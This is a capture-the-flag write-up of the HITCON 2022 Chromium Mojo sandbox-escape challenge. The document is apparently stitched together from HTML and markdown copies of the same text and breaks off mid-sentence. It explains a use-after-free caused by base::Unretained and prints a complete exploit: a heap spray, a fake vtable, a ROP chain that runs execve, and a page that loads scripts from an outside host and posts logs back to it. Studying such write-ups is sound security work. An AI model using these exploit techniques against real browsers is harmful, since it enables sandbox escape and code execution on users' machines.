+ RIP  0x55555b7b216b ◂— call qword ptr [rax + 0x20]
+────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────
+   0x55555b7b2159    mov    rdi, r15
+   0x55555b7b215c    call   free                <free>
+
+   0x55555b7b2161    mov    rax, qword ptr [rbx]
+   0x55555b7b2164    lea    rsi, [rbp - 0x40]
+   0x55555b7b2168    mov    rdi, rbx
+ ► 0x55555b7b216b    call   qword ptr [rax + 0x20]
+
+   0x55555b7b216e    mov    rdi, qword ptr [rbp - 0x40]
+   0x55555b7b2172    test   rdi, rdi
+   0x55555b7b2175    je     0x55555b7b21cf                <0x55555b7b21cf>
+
+   0x55555b7b2177    mov    rax, qword ptr [rbp - 0x38]
+   0x55555b7b217b    mov    rcx, rax
+─────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]──────────────────────────────────────────────────────────────────────
+In file: /stuff/chromium/src/content/browser/sandbox/sandbox_impl.cc
+   57         if (sand_sz > 0x800) {
+   58             std::vector<uint8_t> sand_for_box(sand.begin(), sand.begin()+0x800);
+   59             this->backup_ = std::make_unique<std::vector<uint8_t>>(sand.begin()+0x800, sand.end());
+ ► 60             this->PourSand(sand_for_box);
+   61         } else {
+   62             for ( i = 0 ; i < sand_sz ; i++) {
+   63                 this->box_[i] = sand[i];
+   64             }
+   65         }
+─────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────
+00:0000│ rsp 0x7ffff1502ff0 —▸ 0x7ffff1503010 —▸ 0x12c0003de000 ◂— 0x6400000000
+01:0008│     0x7ffff1502ff8 —▸ 0x12c001169ca0 —▸ 0x12c000ee7800 ◂— 0x4141414141414141 ('AAAAAAAA')
+02:0010│ rsi 0x7ffff1503000 —▸ 0x12c0003dd800 ◂— 0x4141414141414141 ('AAAAAAAA')
+03:0018│     0x7ffff1503008 —▸ 0x12c0003de000 ◂— 0x6400000000
+04:0020│     0x7ffff1503010 —▸ 0x12c0003de000 ◂— 0x6400000000
+05:0028│     0x7ffff1503018 —▸ 0x12c000348000 ◂— 0x0
+06:0030│     0x7ffff1503020 —▸ 0x7ffff15030f0 —▸ 0x5555636cb400 (base::DefaultTickClock::GetInstance()::default_tick_clock) —▸ 0x555562f48590 —▸ 0x555558e19a90 ◂— ...
+07:0038│     0x7ffff1503028 —▸ 0x12c000314780 —▸ 0x55556304c550 —▸ 0x55555cffbe60 (base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::~ThreadControllerWithMessagePumpImpl()) ◂— push rbp
+───────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────
+ ► f 0   0x55555b7b216b
+   f 1   0x55555cfe4fe1 base::TaskAnnotator::RunTaskImpl(base::PendingTask&)+257
+   f 2   0x55555cfe4fe1 base::TaskAnnotator::RunTaskImpl(base::PendingTask&)+257
+   f 3   0x55555cffd32d base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*)+1277
+   f 4   0x55555cffd32d base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*)+1277
+   f 5   0x55555cffcc1f base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork()+127
+   f 6   0x55555cffdab5
+   f 7   0x55555d056723 base::MessagePumpLibevent::Run(base::MessagePump::Delegate*)+211
+────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
+
+pwndbg> x/10gx $rdi
+0x12c000ee7800:	0x4141414141414141	0x4141414141414141
+0x12c000ee7810:	0x4141414141414141	0x4141414141414141
+0x12c000ee7820:	0x4141414141414141	0x4141414141414141
+0x12c000ee7830:	0x4141414141414141	0x4141414141414141
+0x12c000ee7840:	0x4141414141414141	0x4141414141414141
+
+ +

Much better! We now have a virtual call with a controlled vtable pointer. The easiest way to exploit this is to store a fake vtable in the box_ of a SandboxImpl, leak its address using GetHeapAddress and point our fake SandboxImpl’s vtable there for RIP control.

+ +
  let fake = newClient();
+  let fake_vtable = new BigUint64Array(0x800 / 8);
+
+  fake_vtable.fill(0x41414141n);
+  fake.pourSand(new Uint8Array(fake_vtable.buffer));
+
+  const heap_leak = (await fake.getHeapAddress()).addr;
+  let boxed_mem = BigInt(heap_leak) + 0x18n;
+  print(`Fake VTable at: ${hex(boxed_mem)}`);
+
+  let clients = [];
+  for (let i = 0; i < 1000; i++) {
+    clients.push(newClient());
+  }
+
+  let spray = [];
+  for (let i = 0; i < 100; i++) {
+    spray.push(newClient());
+  }
+
+  let iface = newClient();
+
+  let arg2 = new BigUint64Array(0x1020 / 8);
+  arg2.fill(0x4141414141414141n);
+  arg2[0x800 / 8] = BigInt(boxed_mem) + 1n;
+  arg2[0x800 / 8 + 0x818 / 8] = 0n;
+  let arg = new Uint8Array(arg2.buffer);
+
+  for (let i = 0; i < clients.length; i++) {
+    clients[i].pourSand(arg);
+  }
+
+  for (let i = 0; i < 100; i++) {
+    iface.pourSand(arg);
+    iface.ptr.reset();
+    iface = newClient();
+  }
+
+  for (let i = 0; i < spray.length; i++) {
+    spray[i].pourSand(arg);
+  }
+
+ +
Thread 8 "Chrome_IOThread" received signal SIGSEGV, Segmentation fault.
+[Switching to Thread 0x7ffff1504640 (LWP 12853)]
+0x0000000041414141 in ?? ()
+
+ +

🥳

+ +

At this point we just have to set up a JOP + ROP chain near our fake VTable and use it to launch the flag printer. In short we jump to a stack pivot JOP gadget and point RSP to our fake vtable, then from there execute a ROP chain that runs execve("/home/chrome/flag_printer"). Nothing special. The chrome binary has a lot of gadgets so we don’t even need to leak the address of libc.

+ +

hitcon{d0nt_U53_uNR3+4N3d_uSe_W34k_PtR_1nStEaD}

+ +

Final exploit:

+ +
<html>
+<head>
+
+<script src="http://chain.galli.me:8080/mojo/mojo_bindings.js"></script>
+<script src="http://chain.galli.me:8080/mojo/third_party/blink/public/mojom/sandbox/sandbox.mojom.js"></script>
+
+<script>
+let printbuf = [];
+function print(msg) {
+  printbuf.push(msg);
+}
+
+async function uploadLogs() {
+  await fetch('http://chain.galli.me:8080/logs', {
+    method: 'POST',
+    body: printbuf.join('\n'),
+  });
+}
+
+function hex(x) {
+  return `0x${x.toString(16)}`;
+}
+
+function newClient() {
+  let iface = new blink.mojom.SandboxPtr();
+  Mojo.bindInterface(blink.mojom.Sandbox.name, mojo.makeRequest(iface).handle);
+
+  return iface;
+}
+
+async function sbx() {
+  let fake = newClient();
+  const heap_leak = (await fake.getHeapAddress()).addr;
+  const text_leak = (await fake.getTextAddress()).addr;
+
+  const chrome_base = BigInt(text_leak) - 0x627fc20n;
+  print(`Text leak: ${hex(text_leak)}`);
+  print(`Chrome base: ${hex(chrome_base)}`);
+
+  const syscall = chrome_base + 0x0972e4b7n; // syscall; ret;
+  const move_stack = chrome_base + 0x08ff9a59n; // add rsp, 0x28; ret;
+  const pop_rdi = chrome_base + 0x0d8e655bn; // pop rdi; ret
+  const pop_rsi = chrome_base + 0x0d8cdf7cn; // pop rsi; ret;
+  const pop_rdx = chrome_base + 0x0d86e112n; // pop rdx; ret;
+  const pop_rax = chrome_base + 0x0d8e64f4n; // pop rax; ret;
+
+  let boxed_mem = BigInt(heap_leak) + 0x18n;
+  let fake_object = new BigUint64Array(0x800 / 8);
+
+  let prog_addr = boxed_mem - 7n + 15n * 8n;
+
+  fake_object.fill(0x4141414141414141n);
+  fake_object[0] = 0x68732f6e69622fn; // /bin/sh
+  fake_object[1] = prog_addr;
+  fake_object[2] = 0n;
+  fake_object[5] = chrome_base + 0x0590cc13n; // mov rsp, [rdi]; mov rbp, [rdi+8]; mov dword ptr [rdi+0x20], 0; jmp qword ptr [rdi+0x10];
+
+  fake_object[6] = pop_rdi;
+  fake_object[7] = prog_addr;
+  fake_object[8] = pop_rsi;
+  fake_object[9] = boxed_mem + 8n - 7n;
+  fake_object[10] = pop_rdx;
+  fake_object[11] = 0n;
+  fake_object[12] = pop_rax;
+  fake_object[13] = 59n;
+  fake_object[14] = syscall;
+
+  fake_object[15] = 0x68632f656d6f682fn; // /home/ch
+  fake_object[16] = 0x616c662f656d6f72n; // rome/fla
+  fake_object[17] = 0x65746e6972705f67n; // g_printe
+  fake_object[18] = 0x72n; // r
+
+  fake.pourSand(new Uint8Array(fake_object.buffer));
+  print(`Fake object at: ${hex(boxed_mem)}`);
+
+  await uploadLogs();
+
+  let clients = [];
+  for (let i = 0; i < 1000; i++) {
+    clients.push(newClient());
+  }
+
+  let spray = [];
+  for (let i = 0; i < 100; i++) {
+    spray.push(newClient());
+  }
+
+  let iface = newClient();
+
+  let arg2 = new BigUint64Array(0x1020 / 8);
+  arg2[0x800 / 8] = BigInt(boxed_mem) + 1n;
+  arg2[0x800 / 8 + 0x818 / 8] = 0n;
+  arg2[2 + 0x800 / 8] = move_stack;
+
+  let arg = new Uint8Array(arg2.buffer);
+
+  for (let i = 0; i < clients.length; i++) {
+    clients[i].pourSand(arg);
+  }
+
+  for (let i = 0; i < 100; i++) {
+    iface.pourSand(arg);
+    iface.ptr.reset();
+    iface = newClient();
+  }
+
+  for (let i = 0; i < spray.length; i++) {
+    spray[i].pourSand(arg);
+  }
+
+  print('done');
+}
+
+async function pwn() {
+  print('hello world');
+
+  try {
+    if (typeof(Mojo) === 'undefined') {
+      throw 'no mojo sadge';
+    } else {
+      print(`Got Mojo!: ${Mojo}`);
+      await sbx();
+    }
+  } catch (e) {
+    print(`[-] Exception caught: ${e}`);
+    print(e.stack);
+  }
+
+  await uploadLogs();
+}
+
+pwn();
+
+</script>
+</head>
+</html>
+
+ +

Table of Contents

+ + + + + + + + +
+
+
+ + + + + + +
+ + diff --git a/HITCON-2022/pwn/fourchain-sandbox.md b/HITCON-2022/pwn/fourchain-sandbox.md new file mode 100755 index 0000000..fba9274 --- /dev/null +++ b/HITCON-2022/pwn/fourchain-sandbox.md @@ -0,0 +1,819 @@ +# Fourchain - Sandbox + +**Authors:** [Nspace](https://twitter.com/_MatteoRizzo) + +**Tags:** pwn, browser, sandbox + +**Points:** 384 + +> Pouring sand into boxes ? How boring is that 🥱 + +## Analysis + +In this challenge the authors open a webpage with contents controlled by us with a vulnerable version of Chromium. The challenge simulates a compromised renderer process by giving JavaScript code access to Chromium's Mojo IPC (`--enable-blink-features=MojoJS`) and the flag is in a file that is not accessible from inside the sandbox. This means that we have to find a way to escape the sandbox by using the Mojo APIs. + +As with the V8 challenge, we are given a patch that introduces the vulnerability that we have to exploit: + +```diff +diff --git a/content/browser/BUILD.gn b/content/browser/BUILD.gn +index 0e81bb6da44ce..ba8af9ad8a3a9 100644 +--- a/content/browser/BUILD.gn ++++ b/content/browser/BUILD.gn +@@ -2282,6 +2282,8 @@ source_set("browser") { + "worker_host/worker_script_loader.h", + "worker_host/worker_script_loader_factory.cc", + "worker_host/worker_script_loader_factory.h", ++ "sandbox/sandbox_impl.h", ++ "sandbox/sandbox_impl.cc", + ] + + # TODO(crbug.com/1327384): Remove `permissions_common`. +diff --git a/content/browser/browser_interface_binders.cc b/content/browser/browser_interface_binders.cc +index d0e12faf3f16a..0f599997dbb5f 100644 +--- a/content/browser/browser_interface_binders.cc ++++ b/content/browser/browser_interface_binders.cc +@@ -14,6 +14,7 @@ + #include "build/branding_buildflags.h" + #include "build/build_config.h" + #include "cc/base/switches.h" ++#include "content/browser/sandbox/sandbox_impl.h" + #include "content/browser/aggregation_service/aggregation_service_internals.mojom.h" + #include "content/browser/aggregation_service/aggregation_service_internals_ui.h" + #include "content/browser/attribution_reporting/attribution_internals.mojom.h" +@@ -110,6 +111,7 @@ + #include "storage/browser/quota/quota_manager_proxy.h" + #include "third_party/blink/public/common/features.h" + #include "third_party/blink/public/common/storage_key/storage_key.h" ++#include "third_party/blink/public/mojom/sandbox/sandbox.mojom.h" + #include "third_party/blink/public/mojom/background_fetch/background_fetch.mojom.h" + #include "third_party/blink/public/mojom/background_sync/background_sync.mojom.h" + #include "third_party/blink/public/mojom/blob/blob_url_store.mojom.h" +@@ -982,6 +984,8 @@ void PopulateFrameBinders(RenderFrameHostImpl* host, mojo::BinderMap* map) { + map->Add( + base::BindRepeating(&RenderFrameHostImpl::BindRenderAccessibilityHost, + base::Unretained(host))); ++ map->Add(base::BindRepeating( ++ &RenderFrameHostImpl::CreateSandbox, base::Unretained(host))); + } + + void PopulateBinderMapWithContext( +diff --git a/content/browser/renderer_host/render_frame_host_impl.cc b/content/browser/renderer_host/render_frame_host_impl.cc +index 142c6d093d80a..9f12815bf1def 100644 +--- a/content/browser/renderer_host/render_frame_host_impl.cc ++++ b/content/browser/renderer_host/render_frame_host_impl.cc +@@ -2004,6 +2004,11 @@ RenderFrameHostImpl::~RenderFrameHostImpl() { + TRACE_EVENT_END("navigation", perfetto::Track::FromPointer(this)); + } + ++void RenderFrameHostImpl::CreateSandbox( ++ mojo::PendingReceiver receiver) { ++ SandboxImpl::Create(std::move(receiver)); ++} ++ + int RenderFrameHostImpl::GetRoutingID() const { + return routing_id_; + } +diff --git a/content/browser/renderer_host/render_frame_host_impl.h b/content/browser/renderer_host/render_frame_host_impl.h +index c9c0155bc626e..11329de446f78 100644 +--- a/content/browser/renderer_host/render_frame_host_impl.h ++++ b/content/browser/renderer_host/render_frame_host_impl.h +@@ -37,6 +37,7 @@ + #include "base/types/pass_key.h" + #include "base/unguessable_token.h" + #include "build/build_config.h" ++#include "content/browser/sandbox/sandbox_impl.h" + #include "content/browser/accessibility/browser_accessibility_manager.h" + #include "content/browser/accessibility/web_ax_platform_tree_manager_delegate.h" + #include "content/browser/bad_message.h" +@@ -140,6 +141,7 @@ + #include "third_party/blink/public/mojom/portal/portal.mojom-forward.h" + #include "third_party/blink/public/mojom/presentation/presentation.mojom-forward.h" + #include "third_party/blink/public/mojom/render_accessibility.mojom.h" ++#include "third_party/blink/public/mojom/sandbox/sandbox.mojom.h" + #include "third_party/blink/public/mojom/security_context/insecure_request_policy.mojom-forward.h" + #include "third_party/blink/public/mojom/sms/webotp_service.mojom-forward.h" + #include "third_party/blink/public/mojom/speech/speech_synthesis.mojom-forward.h" +@@ -1815,6 +1817,9 @@ class CONTENT_EXPORT RenderFrameHostImpl + // Returns true if the frame is frozen. + bool IsFrozen(); + ++ void CreateSandbox( ++ mojo::PendingReceiver receiver); ++ + // Set the `frame_` for sending messages to the renderer process. + void SetMojomFrameRemote(mojo::PendingAssociatedRemote); + +diff --git a/content/browser/sandbox/sandbox_impl.cc b/content/browser/sandbox/sandbox_impl.cc +new file mode 100644 +index 0000000000000..b03840e655d7d +--- /dev/null ++++ b/content/browser/sandbox/sandbox_impl.cc +@@ -0,0 +1,59 @@ ++#include "content/browser/sandbox/sandbox_impl.h" ++#include "mojo/public/cpp/bindings/self_owned_receiver.h" ++#include "content/public/browser/browser_task_traits.h" ++#include "content/public/browser/browser_thread.h" ++ ++namespace content { ++ ++ size_t SandboxImpl::cnt = 0; ++ ++ SandboxImpl::SandboxImpl() { ++ this->isProcess_ = false; ++ this->id_ = SandboxImpl::cnt; ++ SandboxImpl::cnt++; ++ memset(this->box_, 0, sizeof(this->box_)); ++ } ++ ++ SandboxImpl::~SandboxImpl() { ++ SandboxImpl::cnt--; ++ } ++ ++ // static ++ void SandboxImpl::Create( ++ mojo::PendingReceiver receiver) { ++ auto self = std::make_unique(); ++ mojo::MakeSelfOwnedReceiver(std::move(self), std::move(receiver)); ++ } ++ ++ void SandboxImpl::GetTextAddress(GetTextAddressCallback callback) { ++ std::move(callback).Run((uint64_t)(&SandboxImpl::Create)); ++ } ++ ++ void SandboxImpl::GetHeapAddress(GetHeapAddressCallback callback) { ++ std::move(callback).Run((uint64_t)(this)); ++ } ++ ++ void SandboxImpl::PourSand(const std::vector& sand) { ++ if ( this->isProcess_ || sand.size() > 0x1100 ) return; ++ ++ this->isProcess_ = true; ++ content::GetIOThreadTaskRunner({})->PostTask( ++ FROM_HERE, ++ base::BindOnce(&SandboxImpl::Pour, base::Unretained(this), sand) ++ ); ++ } ++ ++ void SandboxImpl::Pour(const std::vector& sand) { ++ size_t sand_sz = sand.size(), i = 0; ++ if (sand_sz > 0x800) { ++ std::vector sand_for_box(sand.begin(), sand.begin()+0x800); ++ this->backup_ = std::make_unique>(sand.begin()+0x800, sand.end()); ++ this->PourSand(sand_for_box); ++ } else { ++ for ( i = 0 ; i < sand_sz ; i++) { ++ this->box_[i] = sand[i]; ++ } ++ } ++ this->isProcess_ = false; ++ } ++} // namespace content +diff --git a/content/browser/sandbox/sandbox_impl.h b/content/browser/sandbox/sandbox_impl.h +new file mode 100644 +index 0000000000000..81affb5a7f7dc +--- /dev/null ++++ b/content/browser/sandbox/sandbox_impl.h +@@ -0,0 +1,33 @@ ++#ifndef CONTENT_BROWSER_SANDBOX_IMPL_H_ ++#define CONTENT_BROWSER_SANDBOX_IMPL_H_ ++ ++#include ++#include ++ ++#include "content/common/content_export.h" ++#include "third_party/blink/public/mojom/sandbox/sandbox.mojom.h" ++ ++namespace content { ++ ++ class CONTENT_EXPORT SandboxImpl : public blink::mojom::Sandbox { ++ public: ++ static size_t cnt; ++ SandboxImpl(); ++ ~SandboxImpl() override; ++ static void Create( ++ mojo::PendingReceiver receiver); ++ ++ void GetTextAddress(GetTextAddressCallback callback) override; ++ void GetHeapAddress(GetHeapAddressCallback callback) override; ++ void PourSand(const std::vector& sand) override; ++ ++ private: ++ void Pour(const std::vector& sand); ++ size_t id_; ++ bool isProcess_; ++ uint8_t box_[0x800]; ++ std::unique_ptr> backup_; ++ }; ++} // namespace content ++ ++#endif +diff --git a/third_party/blink/public/mojom/BUILD.gn b/third_party/blink/public/mojom/BUILD.gn +index 92fac884e82f5..6678a9d9876ac 100644 +--- a/third_party/blink/public/mojom/BUILD.gn ++++ b/third_party/blink/public/mojom/BUILD.gn +@@ -228,6 +228,7 @@ mojom("mojom_platform") { + "worker/worker_content_settings_proxy.mojom", + "worker/worker_main_script_load_params.mojom", + "worker/worker_options.mojom", ++ "sandbox/sandbox.mojom", + ] + + if (is_android) { +diff --git a/third_party/blink/public/mojom/sandbox/sandbox.mojom b/third_party/blink/public/mojom/sandbox/sandbox.mojom +new file mode 100644 +index 0000000000000..030ce033b377e +--- /dev/null ++++ b/third_party/blink/public/mojom/sandbox/sandbox.mojom +@@ -0,0 +1,7 @@ ++module blink.mojom; ++ ++interface Sandbox { ++ GetTextAddress() => (uint64 addr); ++ GetHeapAddress() => (uint64 addr); ++ PourSand(array sand); ++}; +``` + +We can see that the author added a new Mojo service that our exploit can access from the compromised renderer. The service exposes 3 methods to the renderer: `GetTextAddress`, `GetHeapAddress`, and `PourSand`. We can invoke these methods and get their results from JavaScript, after importing the JavaScript bindings. + +``` +interface Sandbox { + GetTextAddress() => (uint64 addr); + GetHeapAddress() => (uint64 addr); + PourSand(array sand); +}; +``` + +```html + + + + + + + + + +``` + +``` +Result: 0x16f8003f1600 +``` + +The implementations of the first two methods are straightforward and only give us some "free" pointer leaks: + +```cpp +void SandboxImpl::GetTextAddress(GetTextAddressCallback callback) { + std::move(callback).Run((uint64_t)(&SandboxImpl::Create)); +} + +void SandboxImpl::GetHeapAddress(GetHeapAddressCallback callback) { + std::move(callback).Run((uint64_t)(this)); +} +``` + +The implementation of `PourSand` is the interesting part: + +```cpp +void SandboxImpl::PourSand(const std::vector& sand) { + if ( this->isProcess_ || sand.size() > 0x1100 ) return; + this->isProcess_ = true; + content::GetIOThreadTaskRunner({})->PostTask( + FROM_HERE, + base::BindOnce(&SandboxImpl::Pour, base::Unretained(this), sand) + ); +} + +void SandboxImpl::Pour(const std::vector& sand) { + size_t sand_sz = sand.size(), i = 0; + if (sand_sz > 0x800) { + std::vector sand_for_box(sand.begin(), sand.begin()+0x800); + this->backup_ = std::make_unique>(sand.begin()+0x800, sand.end()); + this->PourSand(sand_for_box); + } else { + for ( i = 0 ; i < sand_sz ; i++) { + this->box_[i] = sand[i]; + } + } + this->isProcess_ = false; +} +``` + +The first thing that stands out is that `PourSand` doesn't directly call `Pour` and instead posts a task that runs `Pour` to the I/O thread's task queue and returns immediately. This means that `Pour` might only be called later, after `PourSand` returns, if the I/O thread is busy. This creates some object lifetime issues: what if the `SandboxImpl` instance (or `sand`) is gone by the time the task is executed? The code needs to make sure that both remain alive at least until `Pour` finishes executing. + +The [chromium docs for `BindOnce`](https://chromium.googlesource.com/chromium/src/+/master/docs/callback.md#how-the-implementation-works) say this about lifetime management: + +> By default base::Bind{Once, Repeating}() will store copies of all bound parameters, and attempt to refcount a target object if the function being bound is a class method. These copies are created even if the function takes parameters as const references. +> +> To change this behavior, we introduce a set of argument wrappers (e.g., base::Unretained()). These are simple container templates that are passed by value, and wrap a pointer to argument. Each helper has a comment describing it in base/bind.h. + +So it appears that the contents of `sand` are copied and the copy is passed to `Pour` because `sand` is a const reference. But what about `this`? According to the documentation the default behavior would be to increment its refcount, but here the code is using `base::Unretained` which changes this. Let's check chromium's documentation for that: + +```cpp +// Unretained() allows binding a non-refcounted class, and to disable +// refcounting on arguments that are refcounted objects. +``` + +> If a callback bound to a class method does not need cancel-on-destroy semantics (because there is some external guarantee that the class instance will always be live when running the callback), then use base::Unretained(). It is often a good idea to add a brief comment to explain why base::Unretained() is safe in this context; if nothing else, for future code archaeologists trying to fix a use-after-free bug. + +`base::Unretained` disables refcounting and represents a promise from the caller that the object will remain alive until the callback finally runs. As the documentation notes, it can cause a use-after-free if not used carefully, and it looks like the challenge code might be vulnerable to this. This gives us a potential use-after-free on a `SandboxImpl`. + +## Exploitation + +In order to exploit the vulnerability the following things would have to happen, in order: + +1. Our exploit calls `PourSand` on a `SandboxImpl` (let's call this `a`). This enqueues the call to `a->Pour` on the I/O thread. + +1. `a` gets freed. + +1. Our exploit reclaims `a`'s memory with a different object whose contents we control. + +1. `Pour` runs with `this` pointing to controlled memory. + +Freeing `a` is easy, we can do it from JavaScript by calling `.reset()` on the handle. + +```js +let sandbox = new blink.mojom.SandboxPtr(); +// Free the SandboxImpl +sandbox.ptr.reset(); +``` + +Spraying should also be pretty easy because `Pour` conveniently creates a `std::vector` with controlled data and size when `sand` is bigger than 0x800 bytes. All we need is a way to delay the execution of a freed `SandboxImpl`'s `Pour` callback. One idea is to post a lot of tasks to the I/O thread by calling `PourSand` over and over, and then free our target while the I/O thread is busy processing the callbacks: + +```js +function newClient() { + let iface = new blink.mojom.SandboxPtr(); + Mojo.bindInterface(blink.mojom.Sandbox.name, mojo.makeRequest(iface).handle); + + return iface; +} + +async function pwn() { + let clients = []; + for (let i = 0; i < 1000; i++) { + clients.push(newClient()); + } + + let spray = []; + for (let i = 0; i < 100; i++) { + spray.push(newClient()); + } + + let iface = newClient(); + + // sizeof(class SandboxImpl) + 0x800 + let arg = new Uint8Array(0x1020); + arg.fill(0x41); + + // Enqueue a lot of tasks on the I/O thread + for (let i = 0; i < clients.length; i++) { + clients[i].pourSand(arg); + } + + for (let i = 0; i < 100; i++) { + iface.pourSand(arg); + iface.ptr.reset(); + iface = newClient(); + } + + for (let i = 0; i < spray.length; i++) { + spray[i].pourSand(arg); + } + + print('done'); +} + +pwn(); +``` + +If we run this we get a very promising-looking crash: + +``` +Thread 8 "Chrome_IOThread" received signal SIGSEGV, Segmentation fault. +[Switching to Thread 0x7ffff1504640 (LWP 12533)] +reset () at ../../buildtools/third_party/libc++/trunk/include/__memory/unique_ptr.h:281 +281 __ptr_.second()(__tmp); +LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA +───────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────────── +*RAX 0x2a8000ef7620 ◂— 0x0 +*RBX 0x2a8000ef6e00 ◂— 0x4141414141414141 ('AAAAAAAA') + RCX 0x41 +*RDX 0x2a8000ef7600 ◂— 0x4141414141414141 ('AAAAAAAA') +*RDI 0x2a8001181aa0 —▸ 0x2a8000ef6e00 ◂— 0x4141414141414141 ('AAAAAAAA') +*RSI 0x800 +*R8 0x2a8000ef6e00 ◂— 0x4141414141414141 ('AAAAAAAA') +*R9 0x7ffff1502ec4 ◂— 0x6e4ac20038323134 /* '4128' */ + R10 0x0 + R11 0x293 +*R12 0x2a8000285000 ◂— 0x4141414141414141 ('AAAAAAAA') +*R13 0x2a8000286020 ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' +*R14 0x2a8000ef7620 ◂— 0x0 +*R15 0x4141414141414141 ('AAAAAAAA') + RBP 0x7ffff1503040 —▸ 0x7ffff15030d0 —▸ 0x7ffff1503350 —▸ 0x7ffff1503400 —▸ 0x7ffff1503420 ◂— ... + RSP 0x7ffff1502ff0 —▸ 0x7ffff1503010 —▸ 0x2a80003de000 ◂— 0x6400000000 +*RIP 0x55555b7b2132 ◂— mov rdi, qword ptr [r15] +────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────────────────────── + ► 0x55555b7b2132 mov rdi, qword ptr [r15] + 0x55555b7b2135 test rdi, rdi + 0x55555b7b2138 je 0x55555b7b2159 <0x55555b7b2159> + ↓ + 0x55555b7b2159 mov rdi, r15 + 0x55555b7b215c call free + + 0x55555b7b2161 mov rax, qword ptr [rbx] + 0x55555b7b2164 lea rsi, [rbp - 0x40] + 0x55555b7b2168 mov rdi, rbx + 0x55555b7b216b call qword ptr [rax + 0x20] + + 0x55555b7b216e mov rdi, qword ptr [rbp - 0x40] + 0x55555b7b2172 test rdi, rdi +─────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────── +00:0000│ rsp 0x7ffff1502ff0 —▸ 0x7ffff1503010 —▸ 0x2a80003de000 ◂— 0x6400000000 +01:0008│ 0x7ffff1502ff8 —▸ 0x2a8001181aa0 —▸ 0x2a8000ef6e00 ◂— 0x4141414141414141 ('AAAAAAAA') +02:0010│ 0x7ffff1503000 —▸ 0x2a80003dd800 ◂— 0x4141414141414141 ('AAAAAAAA') +03:0018│ 0x7ffff1503008 —▸ 0x2a80003de000 ◂— 0x6400000000 +04:0020│ 0x7ffff1503010 —▸ 0x2a80003de000 ◂— 0x6400000000 +05:0028│ 0x7ffff1503018 —▸ 0x2a8000348000 ◂— 0x0 +06:0030│ 0x7ffff1503020 —▸ 0x7ffff15030f0 —▸ 0x5555636cb400 (base::DefaultTickClock::GetInstance()::default_tick_clock) —▸ 0x555562f48590 —▸ 0x555558e19a90 ◂— ... +07:0038│ 0x7ffff1503028 —▸ 0x2a8000314780 —▸ 0x55556304c550 —▸ 0x55555cffbe60 (base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::~ThreadControllerWithMessagePumpImpl()) ◂— push rbp +───────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────── + ► f 0 0x55555b7b2132 + f 1 0x55555b7b2132 + f 2 0x55555b7b2132 + f 3 0x55555cfe4fe1 base::TaskAnnotator::RunTaskImpl(base::PendingTask&)+257 + f 4 0x55555cfe4fe1 base::TaskAnnotator::RunTaskImpl(base::PendingTask&)+257 + f 5 0x55555cffd32d base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*)+1277 + f 6 0x55555cffd32d base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*)+1277 + f 7 0x55555cffcc1f base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork()+127 +──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── +pwndbg> bt +#0 reset () at ../../buildtools/third_party/libc++/trunk/include/__memory/unique_ptr.h:281 +#1 operator= () at ../../buildtools/third_party/libc++/trunk/include/__memory/unique_ptr.h:215 +#2 Pour() () at ../../content/browser/sandbox/sandbox_impl.cc:59 +#3 0x000055555cfe4fe1 in Run () at ../../base/functional/callback.h:152 +#4 RunTaskImpl() () at ../../base/task/common/task_annotator.cc:156 +#5 0x000055555cffd32d in RunTask<(lambda at ../../base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:451:11)> () at ../../base/task/common/task_annotator.h:85 +#6 DoWorkImpl() () at ../../base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:449 +#7 0x000055555cffcc1f in DoWork() () at ../../base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:300 +#8 0x000055555cffdab5 in non-virtual thunk to base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() () +#9 0x000055555d056723 in Run() () at ../../base/message_loop/message_pump_libevent.cc:292 +#10 0x000055555cffde0b in Run() () at ../../base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:609 +#11 0x000055555cfc3e19 in Run() () at ../../base/run_loop.cc:141 +#12 0x000055555d01d0f8 in base::Thread::Run(base::RunLoop*) () at ../../base/threading/thread.cc:338 +#13 0x000055555b138a60 in content::BrowserProcessIOThread::IOThreadRun(base::RunLoop*) () at ../../content/browser/browser_process_io_thread.cc:119 +#14 0x000055555d01d217 in ThreadMain() () at ../../base/threading/thread.cc:408 +#15 0x000055555d0449af in ThreadFunc() () at ../../base/threading/platform_thread_posix.cc:103 +#16 0x00007ffff7168b43 in start_thread (arg=) at ./nptl/pthread_create.c:442 +#17 0x00007ffff71faa00 in clone3 () at ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81 + +pwndbg> tele $r15 + +``` + +It looks like Chromium is crashing in `Pour` where it assigns the new `std::vector` to `this->backup_`. This almost certainly happens because we've reclaimed the the object with our spray and so the code thinks that `this->backup_` already points to an object which must be freed. This is a good crash because it shows that we can indeed reclaim the freed object with controlled data, but it would much more useful 